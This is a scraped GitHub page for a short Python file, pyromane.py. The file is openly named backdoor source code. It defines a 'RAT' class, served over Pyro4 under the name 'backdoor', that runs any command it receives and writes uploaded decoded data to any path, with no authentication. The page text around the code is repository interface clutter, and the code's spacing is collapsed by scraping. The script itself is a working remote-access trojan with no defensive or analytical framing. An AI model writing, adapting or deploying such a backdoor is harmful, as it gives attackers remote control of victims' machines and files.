- Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpyromane.py
More file actions
Latest commit
20 lines (16 loc) Β· 554 Bytes
/
Copy pathpyromane.py
File metadata and controls
20 lines (16 loc) Β· 554 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
importPyro4
importcodecs
fromsubprocessimportrun, PIPE
@Pyro4.expose
@Pyro4.behavior(instance_mode="single")
classRAT(object):
defexecute(self, cmd):
result=run(cmd.split(), stdout=PIPE, stderr=PIPE)
return (result.stdout, result.stderr)
defupload(self, filename, data):
out=codecs.decode(bytes(data['data'], 'ascii'), data['encoding'])
open(filename, 'wb').write(out)
defmain():
Pyro4.Daemon.serveSimple({RAT:'backdoor'}, ns=False)
if__name__=='__main__':
main()